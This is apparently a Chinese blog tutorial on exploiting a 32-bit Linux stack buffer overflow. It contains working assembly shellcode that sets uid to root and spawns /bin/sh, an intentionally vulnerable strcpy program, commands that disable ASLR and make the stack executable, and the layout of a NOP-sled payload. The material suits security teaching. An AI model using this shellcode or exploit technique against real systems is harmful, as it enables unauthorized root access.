Author
1. shellcode编写
所谓的shellcode,就是通过一段机器代码,获取到shell命令行。shellcode可以通过多种方式获得,比如裸写16进制代码(一般很少有人这么干。。。),
常见的还是写汇编代码,然后转换成机器代码。
这里分享一个简单的shellcode生成过程,首先编写汇编代码,如下:
点击(此处)折叠或打开
;setreuid
;char *shell[2];
;shell[0] = "/bin/sh"
;shell[1] = "0"
;execve(shell[0], shell, NULL)
;nasm -f elf shellcode32.asm
;ld -m elf_i386 -o shellcode32 shellcode32.o
BITS 32
section .text
global _start
_start:
;setreuid(0, 0)
xor eax, eax
mov al, 0x46
xor ebx, ebx
xor ecx, ecx
int 0x80
;spawn shellcode with execve
xor eax, eax ;clears the eax register, sets to 0
push eax ;push a NULL value on the stack, value of eax
push 0x68732f2f;push '//sh' onto the stack, padded with leading '/' for 4bytes align
push 0x6e69622f;push '/bin' onto the stack, notice strings in reverse
mov ebx, esp ;since esp now points to "/bin//sh", write to ebx
push eax ;eax is still NULL, let's terminate char **argv on stack
push ebx ;still need a pointer to the address of '/bin//sh' , use ebx
mov ecx, esp ;now esp holds the address of argv, move it to ecx
xor edx, edx ;set edx to zero
mov al, 0xb ;set syscall to execve
int 0x80 ;call syscall
然后验证一下代码是否可行,如下图所示:
现在可以提取16进制机器码:nasm -f bin shellcode32.asm -o sc.bin
2. 存在缓冲区溢出漏洞的程序overflow.c
点击(此处)折叠或打开
#include
#include
int main(int argc, char **argv)
{
char p[300];
char name[400];
strcpy(name, argv[1]);
}
3. 如何利用缓存区溢出漏洞
首先需要了解x86的函数调用和栈的内存布局情况
栈是从高地址向低地址增长,函数调用的时候会首先按照逆序把参数压入栈中,接下来会把eip压入栈中,最后调用call把控制权交给函数执行。函数执行完成后,会将所占用的栈清空,并从栈中弹出保存eip,这样eip仍然保存了要执行的下一条指令。
那么缓冲区漏洞利用,就是利用栈的向下增长的特性。如果函数中的变量溢出,那么就会向高地址溢出,从而覆盖掉eip,当函数返回的时候,就会跳转到改动后的eip处执行。
正常的内存结构:
|——————————————————————————————————|————|————|
| 可能溢出的缓冲区 | EBP | EIP |
|——————————————————————————————————|————|————|
被利用后的内存结构:
|————————————————————|——————————|————————————|
| 大量的NOP指令 |shellcode |重复的地址 |
|————————————————————|——————————|————————————|
这里的NOP指令,就是0x90,CPU遇到这种指令什么都不做,继续执行下一条指令。
重复的地址应该在NOP指令所处的地址范围内,这样当函数返回后,eip指向NOP,之后会继续运行,直到运行到shellcode部分。
4.实例
echo "0" > /proc/sys/kernel/randomize_va_space 关闭进制地址空间随机化
gcc -g -m32 -z execstack overflow.c -o overflow 编译存在漏洞的程序,允许栈上可执行,开启调试。
tingw:~/program/x86/c/exploit/test # cat get_esp.c
点击(此处)折叠或打开
#include
unsigned int get_sp(void)
{
__asm__("movl %esp, %eax");
}
int main()
{
printf("Stack pronter (ESP):0x%x\n", get_sp());
}
通过上面的代码,获取进程的初始堆栈:
tingw:~/program/x86/c/exploit/test # gcc -m32 -o get_esp get_esp.c
tingw:~/program/x86/c/exploit/test # ./get_esp
Stack pronter (ESP):0xffffd484
tingw:~/program/x86/c/exploit/test #
现在我们调试overlfow,传入超过400自己的参数,直到eip值被覆盖,如下图所示:
从图中我们可以看出,当输入内容达到700字节的时候,返回地址eip就已经被"A"(0x41)所覆盖了。这样一来我们就可以把输入的字符串长度为700,shellcode为第一步中得到的sc.bin。
我们看一下sc.bin的长度为35字节,如下图所示:
这样NOP指令和重复地址的长度总和为(700-35)= 665
根据上面获得的esp地址为0xffffd484,那么为了使得eip落在NOP指令中,我们可以选择重复地址为(0xffffd484-700-环境变量占用的空间)左右,我们选取为0xffffd0cf
为了使这个地址尽可能的落在NOP区域,我们将NOP指令选择为433字节,剩余的232字节(665-433)存储地址。
这样这个缓存区的构造为:
433字节的NOP + 35字节的shellcode + 58个4字节的地址。
我们看一下运行效果,如下图所示(由于x86是小端字节序,所以需要以0xcf0xd00xff0xff的形式存储):
shellcode正确执行了。。。